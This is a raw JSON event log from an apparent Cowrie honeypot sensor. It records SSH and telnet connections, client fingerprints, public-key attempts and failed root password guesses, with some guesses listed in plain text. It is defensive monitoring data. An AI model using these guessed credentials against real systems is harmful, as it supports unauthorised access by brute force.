acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:50.427734Z","src_ip":"193.37.70.224","session":"ca679ca5e88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51996,"dst_ip":"159.203.135.109","dst_port":23,"session":"e89a3b68aa0d","protocol":"telnet","message":"New connection: 128.199.8.54:51996 (159.203.135.109:23) [session: e89a3b68aa0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:51.420386Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:51.486229Z","src_ip":"193.37.70.224","session":"ca679ca5e88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2016","message":"login attempt [root/Admin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:51.947262Z","src_ip":"27.71.230.31","session":"1987dca03563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:52.651443Z","src_ip":"193.37.70.224","session":"ca679ca5e88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.252.188.23","src_port":50774,"dst_ip":"10.17.0.5","dst_port":22,"session":"f456769d7602","protocol":"ssh","message":"New connection: 45.252.188.23:50774 (10.17.0.5:22) [session: f456769d7602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:55.145816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:55.150544Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:55.332468Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:55.407393Z","src_ip":"27.71.230.31","session":"1987dca03563","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:5a:33:a3:13:f1:2f:23:f3:97:d6:63:bb:b3:8e:c9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKK0KpCJZNgyQYv+zBuGJm+3vjG6hB5SHFP86CGwxCMd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 00:5a:33:a3:13:f1:2f:23:f3:97:d6:63:bb:b3:8e:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.179536Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:5a:33:a3:13:f1:2f:23:f3:97:d6:63:bb:b3:8e:c9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKK0KpCJZNgyQYv+zBuGJm+3vjG6hB5SHFP86CGwxCMd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.182774Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:74:9d:c3:1a:cc:0f:c2:1e:ee:e6:c0:16:d5:5f:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaLzHh7KXbY9vKvh08EoIRZK5kBKoWQoX5W1tpolwx2kje7vxvo517NRW1uvmJ9QuWTW42tGKJuAXc+bwDjz9AMnbFIXnjaU5oc5okJ4IDiWjNQqMa/Gjc99rdvIJvA4LFt1rpEsgpCxEaXn7wRtnIA8KNAVFTNzj4ks1K+NSPeDRuDuzQGJ2fi9S1e47CA+k3S1WwwqUwkPXRjcn/dSS716ApbEs7ehvR0fY86J06yhmO9jUB247XzPGEsf+0rFKOr946VUCF1GW5PJAd0mfhiZ6685gIfcIZbUm9MGu+nUUBNI6wpR9vL2AsHveDfvkHscq3RZ3x7sdYJep3IHzB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:74:9d:c3:1a:cc:0f:c2:1e:ee:e6:c0:16:d5:5f:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.356690Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:74:9d:c3:1a:cc:0f:c2:1e:ee:e6:c0:16:d5:5f:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaLzHh7KXbY9vKvh08EoIRZK5kBKoWQoX5W1tpolwx2kje7vxvo517NRW1uvmJ9QuWTW42tGKJuAXc+bwDjz9AMnbFIXnjaU5oc5okJ4IDiWjNQqMa/Gjc99rdvIJvA4LFt1rpEsgpCxEaXn7wRtnIA8KNAVFTNzj4ks1K+NSPeDRuDuzQGJ2fi9S1e47CA+k3S1WwwqUwkPXRjcn/dSS716ApbEs7ehvR0fY86J06yhmO9jUB247XzPGEsf+0rFKOr946VUCF1GW5PJAd0mfhiZ6685gIfcIZbUm9MGu+nUUBNI6wpR9vL2AsHveDfvkHscq3RZ3x7sdYJep3IHzB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.360435Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:c9:1a:91:53:db:e5:f3:46:61:f8:84:c6:65:bf:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV8OWyjvIlCZmeg9bhM9J5UBGq7kqt3y3sHU3ZbPINPAOE5dC4LvJMG/RG+eN+3BtxaoPYPl4J3lVAEIDF+UiXc0NlH3SlleJY5JvbWklt+ApOZ9zlgYOm4eWqnJpsnklV8l/0e/vXXouOvaNfoc1AbTsBgF1uhUCjgmzXe20GJVFZpu0ksdHX3nksFvObdjqJs3Ot/Fr5kFMiZTgoIEngn22laFerOYx59MmKlZx+QN6iI1gIDX2KDh0ww4mUVY7X/IQw30i6OKeyc0OP7iEYWNAvGiut8EhNQIinOaDJJLUA1q5ChKL1+He68LSzrt7kKlZC8N6ZWs9PNh4oLpij","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:c9:1a:91:53:db:e5:f3:46:61:f8:84:c6:65:bf:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.535655Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:c9:1a:91:53:db:e5:f3:46:61:f8:84:c6:65:bf:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV8OWyjvIlCZmeg9bhM9J5UBGq7kqt3y3sHU3ZbPINPAOE5dC4LvJMG/RG+eN+3BtxaoPYPl4J3lVAEIDF+UiXc0NlH3SlleJY5JvbWklt+ApOZ9zlgYOm4eWqnJpsnklV8l/0e/vXXouOvaNfoc1AbTsBgF1uhUCjgmzXe20GJVFZpu0ksdHX3nksFvObdjqJs3Ot/Fr5kFMiZTgoIEngn22laFerOYx59MmKlZx+QN6iI1gIDX2KDh0ww4mUVY7X/IQw30i6OKeyc0OP7iEYWNAvGiut8EhNQIinOaDJJLUA1q5ChKL1+He68LSzrt7kKlZC8N6ZWs9PNh4oLpij","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.539932Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:dc:0f:bb:0c:e4:1f:06:0e:0b:ef:c6:53:19:77:54","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANMjyGkEA24YRA/NJnFF+Eq3cE/Wd/bRymCbsp6WfRRy+JytWOpDZJR3R9/UjUGCG+af+yIOKXo2KIjR9ITGmJEMRT6KMKw+yk839hDmQQqgxwlYqsoPSjNccpnM5hHc9FjiE/T5zPMps7P15XjBgVBoKxeXoo4nf6skGphlnfopAAAAFQDbcmgTA4PB5EmtHb3yLV5PEtpb6wAAAIAW6P0z326jyU5Mjuxd85a4WYx2BXnIg/zB5Jg8tEE8gb7xrRjPXvCpGZGfB9gd9f7nB+mOY0PNBtQqduypyeQweFxaW138OMrO1qimYcyvGCpLdLaH3uXcCTFhcS+QI6j4FBUKHEDt6PY9/c5PsjcQde/Zm6XX2BwFgWIm22uiZAAAAIBt6hAs8TspwdND5UeM1xEWFtLJg0dKVbuhXcTR+wpwGxBX1+Nh7BD59haO6lGw90On8X6Sc8Iw6DDdxa3uyZ+1d/G7WkeM8F8VO8/439kLmOD1Utv+deaoG+DbzRX1eMFf8ruB9OLnFBxT2Us+dzuLEJwM7zoLoiF0g66a6v+dWA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d6:dc:0f:bb:0c:e4:1f:06:0e:0b:ef:c6:53:19:77:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.722534Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:dc:0f:bb:0c:e4:1f:06:0e:0b:ef:c6:53:19:77:54","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANMjyGkEA24YRA/NJnFF+Eq3cE/Wd/bRymCbsp6WfRRy+JytWOpDZJR3R9/UjUGCG+af+yIOKXo2KIjR9ITGmJEMRT6KMKw+yk839hDmQQqgxwlYqsoPSjNccpnM5hHc9FjiE/T5zPMps7P15XjBgVBoKxeXoo4nf6skGphlnfopAAAAFQDbcmgTA4PB5EmtHb3yLV5PEtpb6wAAAIAW6P0z326jyU5Mjuxd85a4WYx2BXnIg/zB5Jg8tEE8gb7xrRjPXvCpGZGfB9gd9f7nB+mOY0PNBtQqduypyeQweFxaW138OMrO1qimYcyvGCpLdLaH3uXcCTFhcS+QI6j4FBUKHEDt6PY9/c5PsjcQde/Zm6XX2BwFgWIm22uiZAAAAIBt6hAs8TspwdND5UeM1xEWFtLJg0dKVbuhXcTR+wpwGxBX1+Nh7BD59haO6lGw90On8X6Sc8Iw6DDdxa3uyZ+1d/G7WkeM8F8VO8/439kLmOD1Utv+deaoG+DbzRX1eMFf8ruB9OLnFBxT2Us+dzuLEJwM7zoLoiF0g66a6v+dWA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.725733Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40263,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3892871836b","protocol":"ssh","message":"New connection: 168.167.228.74:40263 (159.203.135.109:22) [session: e3892871836b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.761326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.767223Z","src_ip":"168.167.228.74","session":"e3892871836b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:84:df:65:96:2c:89:de:6a:f3:33:01:67:57:eb:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSFH1QsZ0k+/xZmf5arI8c780obv2rWdkNEfZ/a/+PJab//lLHOk1JUGRMyH8mNYInW3r7Xvd0NMnyj3lAtUSuTwPVcrGds//gbI/20OPzQdoTLruCkQG3Js//qKMaajms+hzPoOXtwL4NyOgpj921L5KQRZnxbLM5p/7eHcnT1DP6ST81ncLTodh8KEyLULkuSPJIMHV4KrxfAkV6PsYSpkR3kgTwupnf4CuQTQ5SNyKVvKQMOuA+6RKGwo//hWEZTA3STya4P3UHQMqDC8e9yYz+an00+HF8NQCkFoNNgFv+kbm5forIykMKsKtlhexrJv+7oixoeWdYGvMAJhFi+LKWIJCjZagMn6J7HN7qa3PaVrvUl1vBRsTowSWDbdfZk5VqPsbQvwcUNjWbnezhjrdsHHhiREfghD6WRIE5PRpmo82YDOHxsVm2j0iQqn7HB3GSRpkAMTTbsTYIVpScOvugxVkLm9zKjDI+LTI3dNWRersV05chI99/USToG3J0UhWBPgbcuHTRmGSrMEDxVUhD+RX9InQS3NVecC63pzkmjeNqhSxyaDxPRm8ntMmR7VsKvSHnjYlyrAxYVfpnv3RbFAl+YL3EDNyymdzqaSq+CXB5eneRb1UH1gsJmlpyhddkK+6BvgskOFXJbXNyzX03vBhoIq3gj8aHEmIVBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:84:df:65:96:2c:89:de:6a:f3:33:01:67:57:eb:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.905623Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:84:df:65:96:2c:89:de:6a:f3:33:01:67:57:eb:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCSFH1QsZ0k+/xZmf5arI8c780obv2rWdkNEfZ/a/+PJab//lLHOk1JUGRMyH8mNYInW3r7Xvd0NMnyj3lAtUSuTwPVcrGds//gbI/20OPzQdoTLruCkQG3Js//qKMaajms+hzPoOXtwL4NyOgpj921L5KQRZnxbLM5p/7eHcnT1DP6ST81ncLTodh8KEyLULkuSPJIMHV4KrxfAkV6PsYSpkR3kgTwupnf4CuQTQ5SNyKVvKQMOuA+6RKGwo//hWEZTA3STya4P3UHQMqDC8e9yYz+an00+HF8NQCkFoNNgFv+kbm5forIykMKsKtlhexrJv+7oixoeWdYGvMAJhFi+LKWIJCjZagMn6J7HN7qa3PaVrvUl1vBRsTowSWDbdfZk5VqPsbQvwcUNjWbnezhjrdsHHhiREfghD6WRIE5PRpmo82YDOHxsVm2j0iQqn7HB3GSRpkAMTTbsTYIVpScOvugxVkLm9zKjDI+LTI3dNWRersV05chI99/USToG3J0UhWBPgbcuHTRmGSrMEDxVUhD+RX9InQS3NVecC63pzkmjeNqhSxyaDxPRm8ntMmR7VsKvSHnjYlyrAxYVfpnv3RbFAl+YL3EDNyymdzqaSq+CXB5eneRb1UH1gsJmlpyhddkK+6BvgskOFXJbXNyzX03vBhoIq3gj8aHEmIVBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:56.909491Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:57.020193Z","src_ip":"168.167.228.74","session":"e3892871836b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:57.083978Z","src_ip":"45.252.188.23","session":"f456769d7602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@2026","message":"login attempt [root/Cloud@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:58.033441Z","src_ip":"168.167.228.74","session":"e3892871836b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34633,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ab57a7640f","protocol":"ssh","message":"New connection: 103.248.120.6:34633 (10.17.0.5:22) [session: 44ab57a7640f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:58.700146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:58.704659Z","src_ip":"103.248.120.6","session":"44ab57a7640f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:59.280607Z","src_ip":"168.167.228.74","session":"e3892871836b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:59.581523Z","src_ip":"103.248.120.6","session":"44ab57a7640f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty321","message":"login attempt [root/Qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:01.184376Z","src_ip":"103.248.120.6","session":"44ab57a7640f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:02.410440Z","src_ip":"103.248.120.6","session":"44ab57a7640f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":49342,"dst_ip":"10.17.0.5","dst_port":22,"session":"077d8cf619fc","protocol":"ssh","message":"New connection: 123.58.215.196:49342 (10.17.0.5:22) [session: 077d8cf619fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:13.185369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:13.192697Z","src_ip":"123.58.215.196","session":"077d8cf619fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:13.415165Z","src_ip":"123.58.215.196","session":"077d8cf619fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:14.327484Z","src_ip":"123.58.215.196","session":"077d8cf619fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:15.546384Z","src_ip":"123.58.215.196","session":"077d8cf619fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.99244666099548,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:17.978005Z","src_ip":"128.199.8.54","session":"8a950bad07a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":55290,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd9de9fccf5c","protocol":"telnet","message":"New connection: 128.199.209.169:55290 (159.203.135.109:23) [session: dd9de9fccf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:19.261217Z"}
